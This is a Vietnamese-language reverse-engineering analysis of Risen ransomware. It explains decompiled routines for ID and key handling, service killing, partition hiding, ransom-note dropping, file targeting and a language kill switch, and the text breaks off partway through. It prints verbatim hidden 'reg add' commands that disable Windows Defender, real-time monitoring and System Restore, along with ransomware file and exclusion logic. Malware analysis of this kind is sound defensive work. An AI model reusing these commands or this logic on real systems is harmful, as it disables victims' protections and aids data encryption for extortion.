      *(_QWORD *)&Buffer = 0LL;
      byte_456DAE = 0;
      
      // lấy thời gian hiện tại dùng làm seed cho hàm rand
      v6 = _time64(&Time);
      srand(v6);
      v7 = 0;
      
      // sinh chuỗi id ngẫu nhiên (10 ký tự, mỗi ký tự 2 bytes, tổng 20 byte = 0x14
      do
      {
        // sinh số ngẫu nhiên trong khoảng [1,125]
        v8 = rand() % 125 + 1;
        
        // nếu số ngẫu nhiên là ký tự số (0-9) hoặc chữ cái in hoa (A-Z).
        if ( v8 > 0x2F && v8 < 0x3A || v8 - 65 <= 0x19 )
        {
          // lưu ký tự vào buffer 
          *(WCHAR *)((char *)&Buffer + v7) = v8;
          v7 += 2; //v7 tăng 2, vì WCHAR là wide character
        }
      }
      while ( v7 < 0x14 );
      
      // ghi chuỗi ID vào file
      if ( !WriteFile(FileW, &Buffer, 0x14u, &NumberOfBytesWritten, 0) )
      {
        LastError = GetLastError(); //log nếu lỗi
        LogWithTimestamp(L"Cannot Write ID To File! GetLastError = %lu\n", LastError);
      }
      CloseHandle(FileW); // đóng handle file
      if ( value_start )
        LogWithTimestamp(L"END IDGEN");
      goto LABEL_41;
    }
  }
  fclose(v1); //đóng file nếu đọc được
  // mở đọc file
  v2 = CreateFileW(L"C:\\ProgramData\\Risen_ID.txt", 0x80000000, 0, 0, 3u, 0, 0);
  
  // nếu không mở được thì mở file có đường dẫn tương đối
  if ( v2 || (v2 = CreateFileW(L"Risen_ID.txt", 0x80000000, 0, 0, 3u, 0, 0)) != 0 )
  {
    word_456DB8 = 0;
    
    // đọc 20 byte từ file vào bufer nếu lỗi trả về 0
    if ( !ReadFile(v2, &Buffer, 0x14u, &NumberOfBytesRead, 0) )
    {
      if ( !value_start )
        return 0;
      LogWithTimestamp(L"Cannot read ID File");
      return 0;
    }
    
    // sao chép nội dung từ buffer vào một vùng nhớ khác
    v3 = 0;
    do
    {
      v4 = *(WCHAR *)((char *)&Buffer + v3);
      v3 += 2;
      *(_WORD *)(v3 + 4591002) = v4;
    }
    while ( v4 );
    CloseHandle(v2);
LABEL_41:
    // sao chép chuỗi từ xmmword_43EB50 (5B006E00650073006900520024h) vào xmmword_45FA70
    // phân tích ra 5B006E00650073006900520024h = $Risen[
    wcscpy(xmmword_45FA70, (const wchar_t *)&xmmword_43EB50);
    wcscat(xmmword_45FA70, &Buffer); // nối đoạn trên với ID ngãu nhiên đã sinh
    
    // tìm ký tự null kết thúc chuỗi trong xmmword_45FA70 để ghi đè
    v10 = &xmmword_45FA70[-1];
    do
    {
      v11 = v10[1];
      ++v10;
    }
    while ( v11 );
    // đoạn này thêm cho v10 chuỗi ].Public (little endian)
    *(_DWORD *)v10 = '.\0]'; 
    *((_DWORD *)v10 + 1) = 'u\0P';
    *((_DWORD *)v10 + 2) = 'l\0b';
    *((_DWORD *)v10 + 3) = 'c\0i';
    v10[8] = 0;
    wcscpy(xmmword_460DD0, (const wchar_t *)&xmmword_43EB50); //"$Risen["
    wcscat(xmmword_460DD0, &Buffer); // ID ngẫu nhiên
    v12 = &xmmword_460DD0[-1];
    do
    {
      v13 = v12[1];
      ++v12;
    }
    while ( v13 );
    
    // đoạn này thêm cho v10 chuỗi ].Private (little endian)
    *(_DWORD *)v12 = '.\0]';
    *((_DWORD *)v12 + 1) = 'r\0P';
    *((_DWORD *)v12 + 2) = 'v\0i';
    *((_DWORD *)v12 + 3) = 't\0a';
    *((_DWORD *)v12 + 4) = 'e';
    
    // xmm0: xmmword_43EB88 = 720067006F00720050005C003A0043h = "C:\Progr"
    // xmm1: 5C0061007400610044006D0061h = "amData\"
    // -> "C:\\ProgramData\"
    wcscpy(&FileName, (const wchar_t *)&xmmword_43EB88); 
    wcscat(&FileName, xmmword_45FA70); // + "$Risen[" + ID ngẫu nhiên + "].Public"
    wcscpy(&xmmword_461158, (const wchar_t *)&xmmword_43EB88); //"C:\\ProgramData\"
    wcscat(&xmmword_461158, xmmword_460DD0); // + "$Risen[" + ID ngẫu nhiên + "].Private"
   
    // mở file C:\\ProgramData\$Risen[ID ngẫu nhiên].Public
    v14 = _wfopen(xmmword_45FA70, aR_0);
    
    // kiểm tra việc mở file ở đường dẫn tương đối và tuyệt đối
    if ( v14
      || (v14 = _wfopen(xmmword_460DD0, aR_0)) != 0
      || (v14 = _wfopen(&FileName, aR_0)) != 0
      || (v14 = _wfopen(&xmmword_461158, aR_0)) != 0 )
    {
      fclose(v14); //nếu mở được bất kỳ file nào thì đóng file
      if ( value_start )
        LogWithTimestamp(L"Key Found - LoadKeys"); // đã tìm thấy key và load key
      
      //load key
      if ( !ImportPublicKeyFromFile() )
      {
        if ( !value_start )
          return 0;
        LogWithTimestamp(L"Cannot Load Client Pair Key");
        return 0;
      }
    }
    else
    {
      if ( value_start )
        LogWithTimestamp(L"Key NotFound - GenerateKeys");
      if ( !GenKey() ) // nếu k thấy key đã tạo thì xuống đến đây
      {
        if ( !value_start )
          return 0;
        LogWithTimestamp(L"Cannot Generate Client Pair Key");
        return 0;
      }
    }
    if ( value_start )
      LogWithTimestamp(L"return Initialize()"); // thành công có key trong file public thì log ở đây
    return 1;
  }
  if ( !value_start )
    return 0;
  LogWithTimestamp(L"Cannot Open ID File");
  return 0;
}
```

{% hint style="success" %}
Tóm lại hàm này resin id ngẫu nhiên và ghi vào file Risen\_ID.txt -> sau đó kiểm tra file key xem tồn tại không và có key trong đó không. Nếu có key trong file đó là done. (C:\\\ProgramData\\$Risen\[ID ngẫu nhiên].Public)
{% endhint %}

Một kỹ thuật nhằm ngăn chặn việc đọc chuỗi của người phân tích của phần mềm này hay dùng đó là sử dụng con trỏ:

<figure><img src="/files/IyFhmWXzpBdpmIRfil4A" alt=""><figcaption></figcaption></figure>

`off_43EAA8` là chuỗi sau khi phân tích như sau:

* Lấy địa chỉ `aCRegAddHkeyLoc_10` rồi cộng `0x21` là được giá trị `dd` đầu tiên của chuỗi
* Tương tự và cách tôi sử dụng script python nhé:

```python
import idc
addr = idc.get_name_ea_simple("aCRegAddHkeyLoc_10") + 0x21
print(f"Value: {addr:X}h")
string_start_address = addr + 0x21
```

Hoặc đơn giản hơn là chuột phải vào nó và chọn hex ))))): (mà tôi mới phát hiện)

<figure><img src="/files/LnYTM8HusdndLwihCFkS" alt=""><figcaption></figcaption></figure>

sau đó nhận được&#x20;

<figure><img src="/files/2muzYySRKaongdi4uTc2" alt=""><figcaption></figcaption></figure>

ôi và tôi chỉnh sửa lại thành string thì ra được:

<figure><img src="/files/TVZsfTDyBfBvYr5mFoKO" alt=""><figcaption></figcaption></figure>

làm được bằng cách này nhé:

<figure><img src="/files/WvA3DdLHcVwNcb3DnKgM" alt=""><figcaption></figcaption></figure>

```cpp
void __usercall KillService(DWORD a1@<ebp>)
{
  LPCSTR *v1; // edi
  DWORD TickCount; // esi
  SC_HANDLE v3; // edi
  struct _ENUM_SERVICE_STATUSA *v4; // eax
  SC_HANDLE v5; // esi
  void (__stdcall *v6)(SC_HANDLE); // esi
  char **v7; // [esp-64h] [ebp-70h]
  SC_HANDLE v8; // [esp-60h] [ebp-6Ch]
  __m128i *v9; // [esp-5Ch] [ebp-68h]
  DWORD v10; // [esp-58h] [ebp-64h]
  DWORD v11; // [esp-54h] [ebp-60h] BYREF
  struct _SERVICE_STATUS v12; // [esp-50h] [ebp-5Ch] BYREF
  struct _SERVICE_STATUS v13; // [esp-2Ch] [ebp-38h] BYREF
  DWORD v14[5]; // [esp-8h] [ebp-14h] BYREF
  DWORD retaddr; // [esp+Ch] [ebp+0h]

  v14[2] = a1;
  v14[3] = retaddr;
  if ( value_start )
    LogWithTimestamp(L"KillService");
  v9 = 0;
  LogWithTimestamp(L"Count service : %d", 128);
  
  // Mở Service Control Manager.
  //  0xF003Fu = SERVICE_ALL_ACCESS
  v8 = OpenSCManagerA(0, 0, 0xF003Fu);
  if ( v8 )
  {
    v1 = (LPCSTR *)off_43D260; //là mảng các services name, sẽ loop qua để stop
    v7 = off_43D260;
    do
    {
      TickCount = GetTickCount(); // lấy tick count hiện tại 
      v10 = TickCount; // lưu tick count
      v3 = OpenServiceA(v8, *v1, 0x2Cu); // mở service
      if ( v3 ) // nếu mở thành công
      {
        // Lấy trạng thái service
        if ( QueryServiceStatusEx(v3, SC_STATUS_PROCESS_INFO, (LPBYTE)&v13, 0x24u, &v11)
          && v13.dwCurrentState != 1
          && v13.dwCurrentState != 3 )
        {
          // Liệt kê các service phụ thuộc
          // Gọi EnumDependentServicesA lần đầu để lấy kích thước buffer cần thiết.
          if ( !EnumDependentServicesA(v3, 1u, (LPENUM_SERVICE_STATUSA)v9, 0, &v11, v14) && GetLastError() == 234 )
          {
            // Cấp phát bộ nhớ cho buffer chứa thông tin các service phụ thuộc.
            v4 = (struct _ENUM_SERVICE_STATUSA *)AllocateSizePlus64(v11);
            v9 = (__m128i *)v4; // v9 trỏ tới buffer.
            if ( v4 )
            {
              // Gọi EnumDependentServicesA lần thứ hai, với buffer đã cấp phát.
              if ( EnumDependentServicesA(v3, 1u, v4, v11, &v11, v14) )
              {
                // Mở service phụ thuộc.
                v5 = OpenServiceA(v8, (LPCSTR)_mm_cvtsi128_si32(*v9), 0x24u);
                
                // 1u = SERVICE_CONTROL_STOP Dừng service phụ thuộc.
                if ( v5 && ControlService(v5, 1u, &v12) )
                {
                  //Chờ cho service phụ thuộc dừng hẳn, có timeout.
                  if ( v12.dwCurrentState != 1 )
                  {
                    do
                      Sleep(0x64u);
                    while ( (!QueryServiceStatusEx(v5, SC_STATUS_PROCESS_INFO, (LPBYTE)&v12, 0x24u, &v11)
                          || v12.dwCurrentState != 1 && GetTickCount() - v10 <= 0x1388)
                         && v12.dwCurrentState != 1 );
                  }
                  CloseServiceHandle(v5); // Đóng handle của service phụ thuộc.
                }
                TickCount = v10; // Khôi phục lại tickCount, để timeout tính cho service hiện tại.
              }
              HeapFree(hHeap, 0, v9); // Giải phóng bộ nhớ đã cấp phát cho buffer.
            }
          }
          // Dừng service hiện tại.
          if ( ControlService(v3, 1u, &v13) && v13.dwCurrentState != 1 )
          {
            //Chờ cho service dừng, có timeout
            do
              Sleep(0x64u);
            while ( QueryServiceStatusEx(v3, SC_STATUS_PROCESS_INFO, (LPBYTE)&v13, 0x24u, &v11)
                 && v13.dwCurrentState != 1
                 && GetTickCount() - TickCount <= 0x1388
                 && v13.dwCurrentState != 1 );
          }
        }
        v6 = (void (__stdcall *)(SC_HANDLE))CloseServiceHandle;
        CloseServiceHandle(v3);
      }
      else
      {
        v6 = (void (__stdcall *)(SC_HANDLE))CloseServiceHandle;
      }
      v1 = (LPCSTR *)(v7 + 1); // Tăng con trỏ v1 để duyệt qua mảng tên service.
      v7 = (char **)v1;
    }
    while ( (int)v1 < (int)aR_0 ); // Lặp cho đến khi hết mảng tên service.
    v6(v8); // Đóng handle của SCM.
  }
  if ( value_start )
    LogWithTimestamp(L"return KillService");
}
```

Hàm `KillService` cố gắng dừng (stop) một danh sách các service của Windows.

Hàm tiếp theo tôi sẽ phân tích tiếp là:

```cpp
int HidePartitions()
{
  int v0; // edi
  LPCWSTR *v1; // esi
  WCHAR *v2; // ebx
  HANDLE FirstVolumeW; // esi
  DWORD LastError; // eax
  LPCWSTR lpszVolumeMountPoint[26]; // [esp+0h] [ebp-27Ch]
  LPVOID lpMem; // [esp+68h] [ebp-214h]
  DWORD cchReturnLength; // [esp+6Ch] [ebp-210h] BYREF
  WCHAR szVolumePathNames[260]; // [esp+70h] [ebp-20Ch] BYREF

  if ( value_start )
    LogWithTimestamp(L"hidden_partitions");
  v0 = 0;
  v1 = (LPCWSTR *)off_44CB08;
  cchReturnLength = 0;
  do
  {
    // kiểm tra loại ổ đĩa, 1 = DRIVE_NO_ROOT_DIR
    if ( GetDriveTypeW(*v1) == 1 ) // Nếu ổ đĩa không có thư mục gốc (ví dụ: ổ đĩa chưa được mount).
      lpszVolumeMountPoint[v0++] = *v1;
    ++v1;
  }
  while ( (int)v1 < (int)source_image_backgroud );
  szVolumePathNames[0] = 0;
  do
    v2 = (WCHAR *)HeapAlloc(hHeap, 8u, 0x10040u);
  while ( !v2 );
  do
    lpMem = HeapAlloc(hHeap, 8u, 0x10040u);
  while ( !lpMem );
  
  // Tìm volume đầu tiên.
  FirstVolumeW = FindFirstVolumeW(v2, 0x8000u);
  if ( FirstVolumeW == (HANDLE)-1 )
  {
    if ( value_start )
    {
      LastError = GetLastError();
      LogWithTimestamp(L"FindFirstVolumeW ERROR ,%lu", LastError);
    }
    return -1;
  }
  else
  {
    do
    {
      if ( !v0 )
        break;
      // Lấy đường dẫn volume (mount point) cho volume hiện tại.
      if ( GetVolumePathNamesForVolumeNameW(v2, szVolumePathNames, 0x78u, &cchReturnLength)
        && lstrlenW(szVolumePathNames) == 3 ) // nếu lấy được thì có độ dài 3. ví dụ: "C:\"
      {
        // Xóa đường dẫn (coi như volume này đã được mount vào một ký tự ổ đĩa)
        szVolumePathNames[0] = 0;
      }
      else
      {
        SetVolumeMountPointW(lpszVolumeMountPoint[--v0], v2);
      }
    }
    while ( FindNextVolumeW(FirstVolumeW, v2, 0x8000u) ); // Tìm volume tiếp theo.
    FindVolumeClose(FirstVolumeW); //Đóng handle tìm kiếm volume.
    HeapFree(hHeap, 0, lpMem);
    HeapFree(hHeap, 0, v2);
    if ( value_start )
      LogWithTimestamp(L"return hidden_partitions");
    return 1; // trả 1 nếu thành công
  }
}
```

Kết luận hàm này ẩn các phân vùng vào các ổ đĩa đặc biệt.

```cpp
int __thiscall sub_4027E0(LPCWSTR lpString2)
{
  WCHAR *v2; // eax
  WCHAR *v3; // esi
  FILE *v4; // eax
  FILE *v5; // eax
  FILE *v6; // edi
  FILE *v7; // eax
  FILE *v8; // eax
  FILE *v9; // eax
  DWORD LastError; // eax
  FILE *v11; // eax
  FILE *v12; // eax
  FILE *v13; // eax
  FILE *v14; // eax
  DWORD v15; // eax
  FILE *Stream; // [esp+10h] [ebp-8h]

  if ( value_start )
    LogWithTimestamp(L"DROP_INSTRUCTION");
  do
  {
    v2 = (WCHAR *)HeapAlloc(hHeap, 8u, 0x3C4u);
    v3 = v2;
  }
  while ( !v2 );
  lstrcpyW(v2, lpString2); //copy tên folder hoặc ổ đĩa
  lstrcatW(v3, L"\\");
  lstrcatW(v3, L"$Risen_Note.txt");
  v4 = _wfopen(L"C:\\ProgramData\\$Risen_Note.txt", aR_0); //check open
  if ( v4 )
  {
    fclose(v4);
  }
  else
  {
    v5 = _wfopen(L"C:\\ProgramData\\$Risen_Note.txt", L"w"); // nếu không có tiến hành ghi
    v6 = v5;
    if ( !v5 )
      goto LABEL_26;
    LogFormattedMessage(v5, "%ls", word_45FDF8);
    fclose(v6);
  }
  v7 = _wfopen(v3, aR_0);
  if ( v7 )
  {
    fclose(v7);
  }
  else if ( !CopyFileW(L"C:\\ProgramData\\$Risen_Note.txt", v3, 1) )
  {
    goto LABEL_26;
  }
  lstrcpyW(v3, lpString2);
  lstrcatW(v3, L"\\");
  lstrcatW(v3, L"$Risen_Guide.hta");
  v8 = _wfopen(L"C:\\ProgramData\\$Risen_Guide.hta", aR_0);
  if ( v8 )
  {
    fclose(v8);
  }
  else
  {
    v9 = _wfopen(L"C:\\ProgramData\\$Risen_Guide.hta", L"w");
    Stream = v9;
    if ( !v9 )
    {
      LastError = GetLastError();
      LogWithTimestamp(L"DecryptNote openfile Failed path : %s , %lu", lpString2, LastError);
      goto LABEL_26;
    }
    LogFormattedMessage(v9, "%ls", word_456DC0);
    fclose(Stream);
  }
  v11 = _wfopen(v3, aR_0);
  if ( v11 )
  {
    fclose(v11);
  }
  else if ( !CopyFileW(L"C:\\ProgramData\\$Risen_Guide.hta", v3, 1) )
  {
    goto LABEL_26;
  }
  lstrcpyW(v3, lpString2);
  lstrcatW(v3, L"\\");
  lstrcatW(v3, file_private_key);
  v12 = _wfopen(v3, aR_0);
  if ( v12 )
  {
    fclose(v12);
  }
  else
  {
    v13 = _wfopen(&xmmword_461158, aR_0);
    if ( v13 )
    {
      fclose(v13);
      CopyFileW(&xmmword_461158, v3, 1);
    }
    else
    {
      v14 = _wfopen(file_private_key, aR_0);
      if ( v14 )
      {
        fclose(v14);
        CopyFileW(file_private_key, v3, 1);
      }
      else
      {
        v15 = GetLastError();
        LogWithTimestamp(L"PrivKey NotFound, %lu", v15);
      }
    }
  }
LABEL_26:
  HeapFree(hHeap, 0, v3);
  if ( value_start )
    LogWithTimestamp(L"return DROP_INSTRUCTION");
  return 1;
}
```

Hàm này có chức năng sao chép ransom note và các file cần thiết vào các thư mục khác nhau trên hệ thống, và để chuẩn bị cho tình huông xấu nhất, xóa luôn private key file. -> `FileDeploymentAndCopy`&#x20;

```cpp
int __thiscall sub_4025C0(PCWSTR pszFirst)
{
  int v2; // esi
  PCWSTR pszSrch[29]; // [esp+Ch] [ebp-74h]
  
 // Khởi tạo mảng các chuỗi tìm kiếm (đuôi file, tên file, thư mục...)
  pszSrch[0] = L".exe";
  pszSrch[1] = L".dll";
  v2 = 0;
  pszSrch[2] = L"Risen";
  pszSrch[3] = &Buffer;
  pszSrch[4] = aDectokyoOnionm;
  pszSrch[5] = L".lnk";
  pszSrch[6] = L".sys";
  pszSrch[7] = L".msi";
  pszSrch[8] = L"$Recycle.Bin";
  pszSrch[9] = L"autorun.inf";
  pszSrch[10] = L"boot.ini";
  pszSrch[11] = L"bootfont.bin";
  pszSrch[12] = L"bootsect.bak";
  pszSrch[13] = L"bootmgr";
  pszSrch[14] = L"bootmgr.efi";
  pszSrch[15] = L"bootmgfw.efi";
  pszSrch[16] = L"desktop.ini";
  pszSrch[17] = L"iconcache.db";
  pszSrch[18] = L"ntldr";
  pszSrch[19] = L"ntuser.dat";
  pszSrch[20] = L"ntuser.dat.log";
  pszSrch[21] = L"ntuser.ini";
  pszSrch[22] = L"thumbs.db";
  pszSrch[23] = L"pagefile.sys";
  pszSrch[24] = L"win.ini";
  pszSrch[25] = L"UsrClass.dat";
  pszSrch[26] = L"hiberfil.sys";
  pszSrch[27] = L"DumpStack.log.tmp";
  pszSrch[28] = L"Config.Msi";
  
  // Duyệt qua mảng pszSrch và tìm kiếm sự xuất hiện của bất kỳ chuỗi nào trong pszFirst 
  //(không phân biệt hoa thường)
  while ( !StrStrIW(pszFirst, pszSrch[v2]) )
  {
    if ( ++v2 >= 29 )
      return 1;
  }
  return 0;
}
```

Hàm này kiểm tra xem một chuỗi (thường là tên file hoặc đường dẫn) có chứa bất kỳ chuỗi con nào trong một danh sách các chuỗi "quan tâm" hay không. -> do đó đặt tên là `IsFileOfInterest`

```cpp
int __thiscall sub_4026D0(PCWSTR pszFirst)
{
  int v2; // esi
  int v3; // esi
  PCWSTR v5[23]; // [esp+Ch] [ebp-6Ch]
  PCWSTR pszSrch[4]; // [esp+68h] [ebp-10h]

// Khởi tạo mảng các chuỗi (tên thư mục hoặc đường dẫn) cần kiểm tra 
  v5[0] = L"Windows";
  v5[1] = L"tmp";
  v2 = 0;
  v5[2] = L"winnt";
  v5[3] = L"temp";
  v5[4] = L"$Mft";
  v5[5] = L"C:\\Users\\Default";
  v5[6] = L"thumb";
  v5[7] = L"AppData";
  v5[8] = L"$Recycle.Bin";
  v5[9] = L"System Volume Information";
  v5[10] = L"Boot";
  v5[11] = L"All Users";
  v5[12] = L"Trend Micro";
  v5[13] = L"perflogs";
  v5[14] = L"Microsoft";
  v5[15] = L"Common Files";
  v5[16] = L"VMware Workstation";
  v5[17] = L"VMware VIX";
  v5[18] = L"chrome";
  v5[19] = L"Internet Explorer";
  v5[20] = L"Mozilla";
  v5[21] = L"Windows.old";
  v5[22] = L"Tor Browser";
  pszSrch[0] = L"sql";
  pszSrch[1] = L"WindowsImageBackup";
  pszSrch[2] = L"database";
  pszSrch[3] = L"Backup";
  do
  {
    if ( StrStrIW(pszFirst, pszSrch[v2]) )
      return 1;
    ++v2;
  }
  while ( v2 < 4 );
  v3 = 0;
  while ( !StrStrIW(pszFirst, v5[v3]) )
  {
    if ( ++v3 >= 23 )
      return 1;
  }
  return 0;
}
```

Hàm này có chức năng quyết định xem một thư mục có "quan trọng" và có nên được duyệt đệ quy vào hay không. Do đó đặt tên là `ShouldEnterDirectory`

```cpp
void __thiscall a(const WCHAR *this)
{
  WCHAR *v2; // esi
  DWORD LastError; // eax
  HANDLE hFindFile; // [esp+Ch] [ebp-25Ch]
  _WIN32_FIND_DATAW FindFileData; // [esp+10h] [ebp-258h] BYREF

  if ( value_start )
    LogWithTimestamp(L"FINDFILES : %s", this);
  do
    v2 = (WCHAR *)HeapAlloc(hHeap, 8u, 0x3C4u);
  while ( !v2 );
  
  //có thể triển khai và sao chép các tệp cần thiết.
  FileDeploymentAndCopy(this);
  
  // Sao chép đường dẫn thư mục gốc (tham số 'this') vào v2.
  lstrcpyW(v2, this);
  lstrcatW(v2, L"\\*"); // Nối thêm chuỗi "\\*" vào v2
  
  // Bắt đầu tìm kiếm file/thư mục đầu tiên phù hợp với mẫu tìm kiếm trong v2.
  hFindFile = FindFirstFileW(v2, &FindFileData);
  if ( hFindFile != (HANDLE)-1 )
  {
    // Vòng lặp chính duyệt qua tất cả các file và thư mục con.
    while ( 1 )
    {
      while ( *(int *)(dword_460DCC + 8) > 600 )
      {
        // Kiểm tra kích thước hàng đợi (queue). 
        // Nếu lớn hơn 600, tạm dừng để tránh quá tải.
        if ( value_start )
          LogWithTimestamp(L"Queue Size > 600 , Waiting...");
        Sleep(0x12Cu);
      }
      
      // Bỏ qua các mục "." (thư mục hiện tại), ".." (thư mục cha) và các thư mục ẩn.
      if ( !lstrcmpW(FindFileData.cFileName, L".")
        || !lstrcmpW(FindFileData.cFileName, L"..")
        || (FindFileData.dwFileAttributes & 0x400) != 0 )
      {
        goto LABEL_18;
      }
      // Nếu không phải thư mục (FILE_ATTRIBUTE_DIRECTORY), thoát khỏi vòng lặp con.
      if ( (FindFileData.dwFileAttributes & 0x10) == 0 )
        break;
      // Nếu là thư mục, gọi lại hàm này để kiểm tra xem có nên duyệt vào thư mục con hay không.
      if ( ShouldEnterDirectory(FindFileData.cFileName) )
      {
        lstrcpyW(v2, this);
        lstrcatW(v2, L"\\");
        lstrcatW(v2, FindFileData.cFileName);
        
        // Gọi đệ quy chính hàm này để xử lý thư mục con.
        a(v2);
      }
      else if ( (FindFileData.dwFileAttributes & 0x10) == 0 )
      {
        break;
      }
LABEL_18:
      //Tìm file/thư mục tiếp theo
      if ( !FindNextFileW(hFindFile, &FindFileData) )
      {
        FindClose(hFindFile); // Đóng handle tìm kiếm.
        goto LABEL_21;
      }
    }
    // Gọi IsFileOfInterest để kiểm tra xem file này có "quan trọng" hay không.
    if ( IsFileOfInterest(FindFileData.cFileName) )
    {
      lstrcpyW(v2, this);
      lstrcatW(v2, L"\\");
      lstrcatW(v2, FindFileData.cFileName);
      
      // Vào vùng critical section để đảm bảo an toàn đa luồng.
      EnterCriticalSection(&CriticalSection);
      EnqueueFile(); // Thêm đường dẫn file vào hàng đợi
      LeaveCriticalSection(&CriticalSection); // Ra khỏi critical section.
    }
    goto LABEL_18;
  }
  LastError = GetLastError();
  LogWithTimestamp(L"Can't FindFirstFileW path : %s  ,%lu", this, LastError);
LABEL_21:
  HeapFree(hHeap, 0, v2);
  if ( value_start )
    LogWithTimestamp(L"return FINDFILES");
}
```

Hàm này xử lý file và thư mục một cách có chọn lọc. và sử dụng một hàng đợi để quản lý các file quan trọng và đảm bảo an toàn đa luông. -> `ProcessDirectory`

Hây zô và giờ tổng kết lại xem toàn bộ chương trình này làm gì nhé.... sau khi tạo file `RisenLogs.txt` thì

<figure><img src="/files/qYm9vxmmXp7Zry2TO9Bt" alt=""><figcaption></figcaption></figure>

Như đã phân tích trên thì nó sẽ gọi hàm để enable các quyền cần thiết cho tiến trình.

Tiếp theo gọi hàm GetConsoleWindow để lấy handle của cửa sổ console liên kết với process hiện tại. Với tham số 0 tương ứng với SW\_HIDE mục đích để ẩn cửa sổ console

-> Tạo mutex "`RISEN_MUTEX`" để trở thành chủ sở hữu của mutex đó, nếu đã tồn tại thì sẽ không tạo mới, mà trả về handle của mutex đã có.

```cpp
  MutexA = CreateMutexA(0, 1, "RISEN_MUTEX");
  hMutex = MutexA;
  while ( WaitForSingleObject(MutexA, 0) ) // kiểm tra xem có sở hữu handle không
    Sleep(0x1F40u); //nếu không sở hữu chờ 8s
  CurrentProcess = GetCurrentProcess(); // lấy hadnle của tiến trình hiện tại
  SetPriorityClass(CurrentProcess, 0x80u); // Đặt mức ưu tiên của tiến trình thành HIGH_PRIORITY_CLASS
  SetProcessShutdownParameters(0, 0);
  
  // Lấy ngôn ngữ mặc định của hệ thống 
  SystemDefaultUILanguage = GetSystemDefaultUILanguage();
```

```cpp
  if ( SystemDefaultUILanguage == 0x441
    || SystemDefaultUILanguage == 0x3009
    || SystemDefaultUILanguage == 0x2009
    || SystemDefaultUILanguage == 0x429
    || SystemDefaultUILanguage == 0x200A )
  {
    if ( value_start )
      LogWithTimestamp(L"You cannot run the program in this country");
  }
  else if ( Initialize() )
```

Đoạn so sánh này cho thấy nếu ngôn ngữ mặc định của hệ thống trùng với 5 đoạn code trên thì sẽ không chạy. (bao gồm tiếng indonesia, tây ban nha, anh, ba tư, tấy ban nha.

Nếu thỏa mãn điều kiện thì hàm khởi động bắt đầu và đã được thảo luận ở trên.

```cpp
CreateHiddenBackgroundImage(); // tạo 1 background ẩn
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"Disa"
   "bleRealtimeMonitoring\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\Spynet\" /v \"SubmitSamplesConse"
   "nt\" /t REG_DWORD /d 2 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\Threats\" /v \"Threats_ThreatSev"
   "erityDefaultAction\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\Threats\\ThreatSeverityDefaultAc"
   "tion\" /v \"Low\" /t REG_DWORD /d 6 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\Threats\\ThreatSeverityDefaultAc"
   "tion\" /v \"Medium\" /t REG_DWORD /d 6 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\Threats\\ThreatSeverityDefaultAc"
   "tion\" /v \"High\" /t REG_DWORD /d 6 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\Threats\\ThreatSeverityDefaultAc"
   "tion\" /v \"Severe\" /t REG_DWORD /d 6 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\UX Configuration\" /v \"Notifica"
   "tion_Suppress\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v \"NoClose\" "
   "/t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v \"StartMenuL"
   "ogOff\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"DisableChang"
   "ePassword\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"DisableLockW"
   "orkstation\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"NoLogoff\" /"
   "t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"DisableLockW"
   "orkstation\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableConfig\" /"
   "t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
  L"/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableSR\" /t REG_DWORD /d 1 /f");
ExecuteHiddenCmdWithWow64RedirectionHandling(
